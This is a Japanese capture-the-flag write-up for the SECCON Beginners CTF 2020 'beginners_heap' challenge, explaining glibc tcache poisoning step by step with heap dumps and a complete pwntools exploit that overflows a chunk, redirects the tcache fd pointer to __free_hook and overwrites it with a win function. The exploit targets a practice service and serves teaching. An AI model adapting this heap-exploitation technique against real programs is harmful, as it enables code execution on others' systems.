初めてのヒープ問(tcache poisoning)
SECCON Beginners CTF 2020の「beginners_heap」。
サイズの改ざんとtcacheの汚染。
※1 malloc
は0x10倍に切り詰めるから、例えばサイズ0x18なら0x20として取り扱う
※2 今回のプログラムでは2回続けてmalloc
できない
プログラムの動き
チャンクAは元から割り当てられていて、チャンクBを新しく割り当てたり解放したりできる:
1. read(0, A, 0x80); 2. B = malloc(0x18); read(0, B, 0x18); 3. free(B); B = NULL; 4. Describe heap 5. Describe tcache (for size 0x20) 6. Currently available hint > 4 -=-=-=-=-= HEAP LAYOUT =-=-=-=-=- [+] A = 0x558c62488330 [+] B = 0x558c62488350 +--------------------+ 0x0000558c62488320 | 0x0000000000000000 | +--------------------+ 0x0000558c62488328 | 0x0000000000000021 | +--------------------+ 0x0000558c62488330 | 0x0000000000000000 | <-- A +--------------------+ 0x0000558c62488338 | 0x0000000000000000 | +--------------------+ 0x0000558c62488340 | 0x0000000000000000 | +--------------------+ 0x0000558c62488348 | 0x0000000000000021 | +--------------------+ 0x0000558c62488350 | 0x0000000a62626262 | <-- B +--------------------+ 0x0000558c62488358 | 0x0000000000000000 | +--------------------+ 0x0000558c62488360 | 0x0000000000000000 | +--------------------+ 0x0000558c62488368 | 0x0000000000020ca1 | +--------------------+ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
<-- B
の上にある0x0000000000000021
はチャンクBのサイズ。「1」が経っているので、prev_inuseということ(詳しくは後述)。
>>> bin(0x0000000000000021) '0b100001'
Bをfree
した後のtcacheの様子:
> 3 1. read(0, A, 0x80); 2. B = malloc(0x18); read(0, B, 0x18); 3. free(B); B = NULL; 4. Describe heap 5. Describe tcache (for size 0x20) 6. Currently available hint > 5 -=-=-=-=-= TCACHE -=-=-=-=-= [ tcache (for 0x20) ] || \/ [ 0x0000558c62488350(rw-) ] || \/ [ END OF TCACHE ] -=-=-=-=-=-=-=-=-=-=-=-=-=-=
ヒープチャンクの構造
sizeの下位1ビットがprev_inuseで、立っている即ち1なら前のチャンクが使用中0なら解放されてる。
struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; };
size
の次の8バイトがfd
であり、今回はそこの上書きをする。
※ 先にexploitを示して、その後に戦略の解説。
exploit
(実行速度が速いとうまく動かないので、適宜sleep
を挟む)
#!/usr/bin/env python3 from pwn import * def writeA(conn, data): conn.sendlineafter(b'> ', b'1') time.sleep(0.1) conn.send(data) def mallocB(conn, data): conn.sendlineafter(b'> ', b'2') time.sleep(0.1) conn.send(data) def freeB(conn): conn.sendlineafter(b'> ', b'3') def attack(conn, **kwargs): # __free_hook's address and win's address conn.recvuntil(b'hook>: ') addr_free_hook = int(conn.recvuntil('\n')[:-1], 16) conn.recvuntil(b'win>: ') addr_win = int(conn.recvuntil('\n')[:-1], 16) mallocB(conn, b'temp') freeB(conn) payload = b'x' * 0x18 payload += p64(0x30) payload += p64(addr_free_hook) writeA(conn, payload) mallocB(conn, b'temp') freeB(conn) mallocB(conn, p64(addr_win)) freeB(conn) def main(): conn = remote('localhost', 9002) attack(conn) conn.interactive() if __name__ == '__main__': main()
戦略
やることは「fd
を__free_hook
のアドレスで上書きして、そこにwin
のアドレスを書き込む。その後free
を実行する」ということ。
1回目のmalloc
mallocB(conn, b'temp')
freeB(conn)
これでtcacheは以下のようになる:
tcache[0x20] --> 0x0000558c62488350
その後チャンクAにpayload
を書き込んでheap overflowを実行する。チャンクの様子:
...8<... +--------------------+ 0x0000558c62488330 | 0x0000000000000000 | <-- A +--------------------+ 0x0000558c62488338 | 0x0000000000000000 | +--------------------+ 0x0000558c62488340 | 0x0000000000000000 | +--------------------+ 0x0000558c62488348 | 0x0000000000000030 | +--------------------+ 0x0000558c62488350 | <addr_free_hook> | <-- B +--------------------+ ...8<...
2回目のmalloc
ここでのmalloc
はtcacheから持ってこない。なぜならばサイズが0x30だから。
また、free
するとサイズ0x30のtcacheに繋がれる:
tcache[0x30] --> B
3回目のmalloc
ここで普通に0x18即ちサイズ0x20のmalloc
をして、addr_win
を割り当てれば、__free_hook
にwin
のアドレスが書き込まれる。
なぜならばサイズ0x20のtcacheは
tcache[0x20] --> 0x0000558c62488350
となっており、0x0000558c62488350
には__free_hook
が入ってるから。
実行するとフラグゲット:
shoebill@pwner:~$ ./exploit.py [+] Opening connection to localhost on port 9002: Done [*] Switching to interactive mode 1. read(0, A, 0x80); 2. B = malloc(0x18); read(0, B, 0x18); 3. free(B); B = NULL; 4. Describe heap 5. Describe tcache (for size 0x20) 6. Currently available hint > Congratulations! ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs} [*] Got EOF while reading in interactive $